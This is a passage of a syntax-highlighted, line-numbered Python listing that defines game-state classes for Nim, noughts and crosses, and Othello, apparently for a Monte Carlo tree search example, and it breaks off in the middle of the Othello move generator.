</span></span><span class="line"><span class="ln"> 38</span><span class="cl">        <span class="k">return</span> <span class="n">st</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">    <span class="k">def</span> <span class="nf">DoMove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">move</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Update a state by carrying out the given move.
</span></span></span><span class="line"><span class="ln"> 42</span><span class="cl"><span class="s2">            Must update playerJustMoved.
</span></span></span><span class="line"><span class="ln"> 43</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">def</span> <span class="nf">GetMoves</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get all possible moves from this state.
</span></span></span><span class="line"><span class="ln"> 48</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">    <span class="k">def</span> <span class="nf">GetResult</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">playerjm</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get the game result from the viewpoint of playerjm. 
</span></span></span><span class="line"><span class="ln"> 52</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">    <span class="k">def</span> <span class="fm">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Don&#39;t need this - but good style.
</span></span></span><span class="line"><span class="ln"> 56</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">
</span></span><span class="line"><span class="ln"> 60</span><span class="cl"><span class="k">class</span> <span class="nc">NimState</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">    <span class="s2">&#34;&#34;&#34; A state of the game Nim. In Nim, players alternately take 1,2 or 3 chips with the 
</span></span></span><span class="line"><span class="ln"> 62</span><span class="cl"><span class="s2">        winner being the player to take the last chip. 
</span></span></span><span class="line"><span class="ln"> 63</span><span class="cl"><span class="s2">        In Nim any initial state of the form 4n+k for k = 1,2,3 is a win for player 1
</span></span></span><span class="line"><span class="ln"> 64</span><span class="cl"><span class="s2">        (by choosing k) chips.
</span></span></span><span class="line"><span class="ln"> 65</span><span class="cl"><span class="s2">        Any initial state of the form 4n is a win for player 2.
</span></span></span><span class="line"><span class="ln"> 66</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">ch</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">2</span>  <span class="c1"># At the root pretend the player just moved is p2 - p1 has the first move</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">chips</span> <span class="o">=</span> <span class="n">ch</span>
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">    <span class="k">def</span> <span class="nf">Clone</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Create a deep clone of this game state.
</span></span></span><span class="line"><span class="ln"> 74</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">        <span class="n">st</span> <span class="o">=</span> <span class="n">NimState</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">chips</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="k">return</span> <span class="n">st</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">    <span class="k">def</span> <span class="nf">DoMove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">move</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Update a state by carrying out the given move.
</span></span></span><span class="line"><span class="ln"> 81</span><span class="cl"><span class="s2">            Must update playerJustMoved.
</span></span></span><span class="line"><span class="ln"> 82</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">        <span class="k">assert</span> <span class="n">move</span> <span class="o">&gt;=</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">move</span> <span class="o">&lt;=</span> <span class="mi">3</span> <span class="ow">and</span> <span class="n">move</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">move</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">chips</span> <span class="o">-=</span> <span class="n">move</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">    <span class="k">def</span> <span class="nf">GetMoves</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get all possible moves from this state.
</span></span></span><span class="line"><span class="ln"> 89</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="k">return</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">min</span><span class="p">([</span><span class="mi">4</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">chips</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])))</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">    <span class="k">def</span> <span class="nf">GetResult</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">playerjm</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get the game result from the viewpoint of playerjm. 
</span></span></span><span class="line"><span class="ln"> 94</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">        <span class="k">assert</span> <span class="bp">self</span><span class="o">.</span><span class="n">chips</span> <span class="o">==</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">==</span> <span class="n">playerjm</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">            <span class="k">return</span> <span class="mf">1.0</span>  <span class="c1"># playerjm took the last chip and has won</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">            <span class="k">return</span> <span class="mf">0.0</span>  <span class="c1"># playerjm&#39;s opponent took the last chip and has won</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="k">def</span> <span class="fm">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;Chips:&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">chips</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; JustPlayed:&#34;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">
</span></span><span class="line"><span class="ln">105</span><span class="cl">
</span></span><span class="line"><span class="ln">106</span><span class="cl"><span class="k">class</span> <span class="nc">OXOState</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">    <span class="s2">&#34;&#34;&#34; A state of the game, i.e. the game board.
</span></span></span><span class="line"><span class="ln">108</span><span class="cl"><span class="s2">        Squares in the board are in this arrangement
</span></span></span><span class="line"><span class="ln">109</span><span class="cl"><span class="s2">        012
</span></span></span><span class="line"><span class="ln">110</span><span class="cl"><span class="s2">        345
</span></span></span><span class="line"><span class="ln">111</span><span class="cl"><span class="s2">        678
</span></span></span><span class="line"><span class="ln">112</span><span class="cl"><span class="s2">        where 0 = empty, 1 = player 1 (X), 2 = player 2 (O)
</span></span></span><span class="line"><span class="ln">113</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">
</span></span><span class="line"><span class="ln">115</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">2</span>  <span class="c1"># At the root pretend the player just moved is p2 - p1 has the first move</span>
</span></span><span class="line"><span class="ln">117</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>  <span class="c1"># 0 = empty, 1 = player 1, 2 = player 2</span>
</span></span><span class="line"><span class="ln">118</span><span class="cl">
</span></span><span class="line"><span class="ln">119</span><span class="cl">    <span class="k">def</span> <span class="nf">Clone</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Create a deep clone of this game state.
</span></span></span><span class="line"><span class="ln">121</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">st</span> <span class="o">=</span> <span class="n">OXOState</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">board</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[:]</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">        <span class="k">return</span> <span class="n">st</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">
</span></span><span class="line"><span class="ln">127</span><span class="cl">    <span class="k">def</span> <span class="nf">DoMove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">move</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Update a state by carrying out the given move.
</span></span></span><span class="line"><span class="ln">129</span><span class="cl"><span class="s2">            Must update playerToMove.
</span></span></span><span class="line"><span class="ln">130</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">        <span class="k">assert</span> <span class="n">move</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">move</span> <span class="o">&lt;=</span> <span class="mi">8</span> <span class="ow">and</span> <span class="n">move</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">move</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">move</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">move</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">
</span></span><span class="line"><span class="ln">135</span><span class="cl">    <span class="k">def</span> <span class="nf">GetMoves</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">136</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get all possible moves from this state.
</span></span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">        <span class="k">return</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span> <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">
</span></span><span class="line"><span class="ln">140</span><span class="cl">    <span class="k">def</span> <span class="nf">GetResult</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">playerjm</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get the game result from the viewpoint of playerjm. 
</span></span></span><span class="line"><span class="ln">142</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">)</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">),</span> <span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">6</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">7</span><span class="p">),</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">6</span><span class="p">)]:</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">            <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">z</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">                <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="o">==</span> <span class="n">playerjm</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">                    <span class="k">return</span> <span class="mf">1.0</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">                    <span class="k">return</span> <span class="mf">0.0</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">GetMoves</span><span class="p">()</span> <span class="o">==</span> <span class="p">[]:</span> <span class="k">return</span> <span class="mf">0.5</span>  <span class="c1"># draw</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">        <span class="k">assert</span> <span class="kc">False</span>  <span class="c1"># Should not be possible to get here</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">
</span></span><span class="line"><span class="ln">152</span><span class="cl">    <span class="k">def</span> <span class="fm">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">9</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">            <span class="n">s</span> <span class="o">+=</span> <span class="s2">&#34;.XO&#34;</span><span class="p">[</span><span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">i</span><span class="p">]]</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">            <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">3</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span> <span class="n">s</span> <span class="o">+=</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">        <span class="k">return</span> <span class="n">s</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">
</span></span><span class="line"><span class="ln">159</span><span class="cl">
</span></span><span class="line"><span class="ln">160</span><span class="cl"><span class="k">class</span> <span class="nc">OthelloState</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">    <span class="s2">&#34;&#34;&#34; A state of the game of Othello, i.e. the game board.
</span></span></span><span class="line"><span class="ln">162</span><span class="cl"><span class="s2">        The board is a 2D array where 0 = empty (.), 1 = player 1 (X), 2 = player 2 (O).
</span></span></span><span class="line"><span class="ln">163</span><span class="cl"><span class="s2">        In Othello players alternately place pieces on a square board - each piece played
</span></span></span><span class="line"><span class="ln">164</span><span class="cl"><span class="s2">        has to sandwich opponent pieces between the piece played and pieces already on the 
</span></span></span><span class="line"><span class="ln">165</span><span class="cl"><span class="s2">        board. Sandwiched pieces are flipped.
</span></span></span><span class="line"><span class="ln">166</span><span class="cl"><span class="s2">        This implementation modifies the rules to allow variable sized square boards and
</span></span></span><span class="line"><span class="ln">167</span><span class="cl"><span class="s2">        terminates the game as soon as the player about to move cannot make a move (whereas
</span></span></span><span class="line"><span class="ln">168</span><span class="cl"><span class="s2">        the standard game allows for a pass move). 
</span></span></span><span class="line"><span class="ln">169</span><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">170</span><span class="cl">
</span></span><span class="line"><span class="ln">171</span><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sz</span><span class="o">=</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">172</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">2</span>  <span class="c1"># At the root pretend the player just moved is p2 - p1 has the first move</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span> <span class="o">=</span> <span class="p">[]</span>  <span class="c1"># 0 = empty, 1 = player 1, 2 = player 2</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">size</span> <span class="o">=</span> <span class="n">sz</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">        <span class="k">assert</span> <span class="n">sz</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">sz</span><span class="p">)</span> <span class="ow">and</span> <span class="n">sz</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span>  <span class="c1"># size must be integral and even</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">        <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">sz</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="o">.</span><span class="n">append</span><span class="p">([</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">sz</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">178</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span><span class="p">][</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">][</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln">179</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span><span class="p">][</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">][</span><span class="n">sz</span> <span class="o">/</span> <span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">2</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">
</span></span><span class="line"><span class="ln">181</span><span class="cl">    <span class="k">def</span> <span class="nf">Clone</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">182</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Create a deep clone of this game state.
</span></span></span><span class="line"><span class="ln">183</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">184</span><span class="cl">        <span class="n">st</span> <span class="o">=</span> <span class="n">OthelloState</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">186</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">board</span> <span class="o">=</span> <span class="p">[</span><span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">i</span><span class="p">][:]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">187</span><span class="cl">        <span class="n">st</span><span class="o">.</span><span class="n">size</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">size</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">        <span class="k">return</span> <span class="n">st</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">
</span></span><span class="line"><span class="ln">190</span><span class="cl">    <span class="k">def</span> <span class="nf">DoMove</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">move</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Update a state by carrying out the given move.
</span></span></span><span class="line"><span class="ln">192</span><span class="cl"><span class="s2">            Must update playerToMove.
</span></span></span><span class="line"><span class="ln">193</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">        <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="n">move</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">move</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">        <span class="k">assert</span> <span class="n">x</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="ow">and</span> <span class="n">y</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">IsOnBoard</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="ow">and</span> <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln">196</span><span class="cl">        <span class="n">m</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">GetAllSandwichedCounters</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">197</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">-</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">198</span><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">199</span><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span> <span class="ow">in</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">200</span><span class="cl">            <span class="bp">self</span><span class="o">.</span><span class="n">board</span><span class="p">[</span><span class="n">a</span><span class="p">][</span><span class="n">b</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">playerJustMoved</span>
</span></span><span class="line"><span class="ln">201</span><span class="cl">
</span></span><span class="line"><span class="ln">202</span><span class="cl">    <span class="k">def</span> <span class="nf">GetMoves</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">203</span><span class="cl">        <span class="s2">&#34;&#34;&#34; Get all possible moves from this state.
</span></span></span><span class="line"><span class="ln">204</span><span class="cl"><span class="s2">        &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl">        <span class="k">return</span> <span class="p">[(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">size</span><span class="p">)</span> <span class="k">if</span>
